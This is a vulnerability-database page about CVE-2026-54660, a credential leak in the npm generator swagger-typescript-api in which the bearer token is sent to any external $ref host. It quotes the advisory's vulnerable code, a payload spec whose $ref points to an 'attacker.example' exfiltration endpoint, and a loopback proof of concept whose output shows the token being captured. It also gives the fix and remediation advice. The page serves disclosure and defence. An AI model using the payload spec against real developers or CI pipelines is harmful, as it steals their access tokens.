Skip to main content

swagger-typescript-api EUVDEUVD-2026-50361

| CVE-2026-54660 HIGH
Information Exposure (CWE-200)
2026-07-29 https://github.com/acacode/swagger-typescript-api GHSA-h754-fxp7-88wx
7.4
CVSS 3.1 · Vendor: https://github.com/acacode/swagger-typescript-api
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker plants $ref to attacker host in spec
  2. Delivery
    Victim runs generator with --authorizationToken
  3. Exploit
    Generator walks external $refs
  4. Execution
    Credentialed fetch to attacker origin
  5. Persist
    Authorization token exfiltrated
  6. Impact
    Attacker replays token for account takeover

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK

2 techniques across 2 tactics: Collection, Discovery

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires three concrete prerequisites: (1) the generator is invoked with --authorizationToken/authorizationToken set to a real credential - the documented way to fetch private specs; (2) the OpenAPI spec being processed contains at least one external $ref with an http(s):// URL pointing to an attacker-controlled origin different from the --url spec source; and (3) the victim actually runs generation against that spec (UI:R - a manual generate invocation or an automated CI build step). Exploitation is limited by these factors: no token configured means nothing leaks; a fully attacker-controlled spec source is unnecessary but the attacker must be able to influence spec content (malicious PR, tenant-supplied spec, or compromised/attacker-hosted spec); and the leak occurs at generation time only, not when the generated client is later imported. There is no attacker-side authentication requirement (PR:N).

Impact

The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N, 7.4 High) is internally consistent with the mechanism: network vector, low complexity, no attacker authentication, but required user interaction (a developer or CI job must run generation against an attacker-influenced spec while a real token is configured), a scope change (the leaked token grants access to a different security authority than the vulnerable generator), high confidentiality impact, and no integrity/availability impact. The dominant limiting factor is UI:R plus the precondition that --authorizationToken is actually set - however, that flag is the documented, intended way to fetch any non-public spec, so the condition is common rather than exotic, especially in CI/CD and multi-tenant SaaS pipelines. No EPSS score, KEV entry, or SSVC decision was provided in the input, so automatable/exploitation signals cannot be quantified here; realistic exploitation is likely targeted (requires convincing a victim to generate from a malicious/modified spec) rather than internet-wide worming. A researcher-supplied PoC exists, raising practical risk above a purely theoretical high-CVSS issue, but absence of KEV suggests no confirmed in-the-wild use. Net: a genuine priority for teams that regenerate clients from externally-controlled or contributor-modifiable specs with a live credential, and lower priority for purely-public, no-token workflows.

Exploit ScenarioDerived

An attacker publishes or contributes an OpenAPI spec whose response schema contains {"$ref": "http://attacker.example/exfil/data.json"} and gets a victim developer or CI pipeline to regenerate a client from it with --authorizationToken set (e.g., via a pull request modifying a pinned spec, or a tenant-supplied spec in a multi-tenant SaaS). When generation runs, the tool resolves the $ref and sends the victim's full bearer token in the Authorization header to attacker.example, which logs it; the attacker then replays the token for full access to whatever scope it grants. A working PoC was demonstrated on 13.12.1 with Node v24.11.1.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 29, 2026

Credential exfiltration in swagger-typescript-api (npm, versions <= 13.12.1) allows a malicious OpenAPI spec to steal a developer's bearer token during code generation: when --authorizationToken is set, the generator attaches that token to the Authorization header of every request it makes while resolving external $ref URLs, with no same-origin check, so a $ref pointing at an attacker-controlled host receives the token verbatim. The stolen credential is typically high-value (GitHub PAT, OAuth bearer, CI service-account token) and its capture is equivalent to full account/scope takeover. A working proof-of-concept was supplied by the reporter (publicly available exploit code exists); it is not listed in CISA KEV and there is no evidence of active exploitation.

RemediationAI

Vendor-released patch: 13.12.2 - upgrade swagger-typescript-api to 13.12.2 or later (release https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2; fix in PR https://github.com/acacode/swagger-typescript-api/pull/1779 and commit 306d59acb8ffbb00f953f807b97234b21f51d9de). The patch forwards the authorization token only to same-origin remote URLs and adds a defense-in-depth remote-fetch policy (blocks loopback/RFC-1918/link-local including 169.254.169.254, allows cross-origin fetches only to public hosts, permits the explicit --url source even on loopback, and manually re-validates up to five redirect hops). If you cannot upgrade immediately, the effective compensating controls are: stop passing --authorizationToken/authorizationToken when generating from any spec you do not fully control (trade-off: private specs behind auth can no longer be fetched directly - pre-download them over a trusted channel and generate from the local file instead); run generation in an egress-restricted/network-sandboxed environment that only permits the legitimate spec host (trade-off: breaks legitimate cross-host $refs); use short-lived, least-privilege tokens and rotate any token that may have been exposed by a prior run; and audit specs for external $ref URLs before generation. Because the same release also fixes companion SSRF and template-injection code-execution issues, upgrading is strongly preferred over workarounds.

Affected VersionsENISA

swagger-typescript-api < 13.12.2

Affected Packages

npm swagger-typescript-api fix: 13.12.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

swagger-typescript-api is a Node.js/npm code-generation tool that produces TypeScript API clients from OpenAPI/Swagger specifications. During generation it walks the spec and eagerly fetches every external http(s):// $ref target via warmUpRemoteSchemasCache → fetchRemoteSchemaDocument → fetch(url, { headers: getRemoteRequestHeaders() }) (src/resolved-swagger-schema.ts). The root cause (CWE-200 Exposure of Sensitive Information, closely related to CWE-522 Insufficiently Protected Credentials and CWE-201 Insertion of Sensitive Information into Sent Data) is that getRemoteRequestHeaders unconditionally injects the configured authorizationToken into the Authorization header regardless of the destination origin, scheme, or host relative to the user-supplied --url spec source. Browsers strip credentials on cross-origin credentialed fetches by default; this tool did not, so it violates the same-origin credential model. The affected package is identified by CPE pkg:npm/swagger-typescript-api. This finding is one of a cluster reported by the same researcher and fixed together, alongside a companion SSRF (private-IP/metadata reachability) issue and several template-injection code-execution bugs.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/acacode/swagger-typescript-api) PRIMARY 7.4 HIGH
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
vuln.today AI 7.4 HIGH

Malicious remote spec (AV:N/AC:L) needs no attacker auth (PR:N) but requires the victim to run generation with a token set (UI:R); leaked token grants a different authority (S:C, C:H) with no integrity/availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/acacode/swagger-typescript-api).

CVSS VectorVendor: https://github.com/acacode/swagger-typescript-api

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

When the developer supplies an --authorizationToken (commonly required to fetch a private spec behind authentication), swagger-typescript-api attaches that token to the Authorization header of every subsequent HTTP request it makes while resolving external $ref URLs in the spec - with no same-origin check, no host allowlist, and no scope-down for cross-origin requests. A malicious OpenAPI spec containing a $ref to an attacker-controlled URL therefore causes the developer's bearer token to be sent verbatim to that URL during code generation.

The threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.

Details

The header-builder lives in src/resolved-swagger-schema.ts:81-92:

ts
private getRemoteRequestHeaders(): Record<string, string> {
  return Object.assign(
    {},
    this.config.authorizationToken
      ? {
          Authorization: this.config.authorizationToken,
        }
      : {},
    (this.config.requestOptions?.headers as
      | Record<string, string>
      | undefined) || {},
  );
}

There is no check that the request's destination URL shares an origin (or scheme, or host, or even top-level domain) with this.config.url - the URL the user originally specified. The headers object is unconditional.

getRemoteRequestHeaders is called by fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374):

ts
const response = await fetch(url, {
  headers: this.getRemoteRequestHeaders(),
});

…which is in turn called by warmUpRemoteSchemasCache (src/resolved-swagger-schema.ts:399-445) for every external $ref URL discovered while walking the spec.

Net effect: a spec whose response schema is

json
{ "$ref": "http://attacker.example/exfil-endpoint/data.json" }

causes the generator to send

GET /exfil-endpoint/data.json HTTP/1.1
Host: attacker.example
Authorization: <full value of --authorizationToken>

to attacker.example, regardless of where the original spec was hosted.

The --authorizationToken flag is the standard mechanism for consuming a spec behind auth - for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting --authorizationToken is therefore not an exotic configuration; it is the *intended* configuration for any non-public spec.

PoC

Self-contained reproducer in comments (install swagger-typescript-api@13.12.1 into a local node_modules, spin up two loopback HTTP servers - one serving the spec, one pretending to be the attacker's exfil endpoint - run the generator with authorizationToken set, observe what the attacker endpoint received). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):

json
{
  "openapi": "3.0.0",
  "info": { "title": "TokenLeak-payload", "version": "1.0.0" },
  "paths": {
    "/p": {
      "get": {
        "operationId": "p",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://127.0.0.1:<attacker-port>/EXFIL_ENDPOINT/data.json"
                }
              }
            }
          }
        }
      }
    }
  }
}

Steps:

bash
# 1. Start a loopback "attacker" HTTP server on a different port from the spec server.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Run the generator with --authorizationToken set.
npm install swagger-typescript-api@13.12.1
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  output: '/tmp/out',
  url: 'http://127.0.0.1:<spec-port>/spec.json',
  authorizationToken: 'Bearer USER_GITHUB_PAT_super_secret_xyz123',
  httpClientType: 'fetch'
}))"

Observed:

[control] (no cross-origin $ref) → attacker-server hits: 0
[payload] ($ref → http://attacker)
  attacker-server hits: 1
  hit: /EXFIL_ENDPOINT/data.json  Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123
  TOKEN LEAKED - attacker server received user-supplied authorizationToken verbatim

The attacker-controlled endpoint received the developer's full Bearer ... token verbatim, sent by the generator while resolving the spec's $ref.

Impact

Type: Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests.

Affected use cases:

  • A developer fetching a private OpenAPI spec behind authentication (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of --authorizationToken.
  • A CI/CD pipeline regenerating clients from a private spec on every build - the CI's authentication token (often a long-lived service-account credential) leaks on every run.
  • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs - a tenant's malicious spec captures the SaaS provider's API key.
  • Any project where a contributor can modify the pinned spec via PR - the project's CI credentials leak on first build of the malicious PR.

Lifecycle: generation-time. The token leak happens when the developer or CI pipeline runs swagger-typescript-api generate, not when the generated client is later imported.

Privilege of stolen token: typically the developer's API authentication for the target service - a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft - the attacker gains the same scope of access the developer had.

Suggested fix:

The minimum sufficient fix is a same-origin check on the Authorization header forwarding:

ts
// in src/resolved-swagger-schema.ts:81-92
private getRemoteRequestHeaders(targetUrl?: string): Record<string, string> {
  const headers: Record<string, string> = {};

  // Only attach Authorization if the target URL shares an origin with the
  // user-supplied spec URL. Otherwise the token is leaked across origins.
  if (
    this.config.authorizationToken &&
    targetUrl &&
    this.isSameOrigin(targetUrl, this.config.url)
  ) {
    headers.Authorization = this.config.authorizationToken;
  }

  return Object.assign(
    headers,
    (this.config.requestOptions?.headers as Record<string, string> | undefined) || {},
  );
}

private isSameOrigin(a: string, b: string | undefined): boolean {
  if (typeof b !== "string") return false;
  try {
    const ua = new URL(a);
    const ub = new URL(b);
    return ua.protocol === ub.protocol && ua.host === ub.host;
  } catch {
    return false;
  }
}

Then update the call site fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374) to pass the destination URL:

ts
const response = await fetch(url, {
  headers: this.getRemoteRequestHeaders(url),
});

This is the same model browsers apply to credentialed fetch requests by default. It does not break legitimate same-server $refs - those still authenticate normally. It only strips the token when the target's origin differs from the spec source's origin.

For deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen.

Submitted by: Hamza Haroon (thegr1ffyn)

Executive ViewAI

Why It Matters

A vulnerability in swagger-typescript-api (versions ≤13.12.1) enables credential theft from developer build environments through malicious OpenAPI specifications; working exploit code is publicly available. Development teams risk unauthorized access to GitHub repositories, CI/CD pipelines, and cloud services if this library is deployed with bearer token credentials.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 84% exploitable
Prevalence
Medium
popular npm OpenAPI codegen tool, but dev/CI-time only, not production-facing
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

57
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +37
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy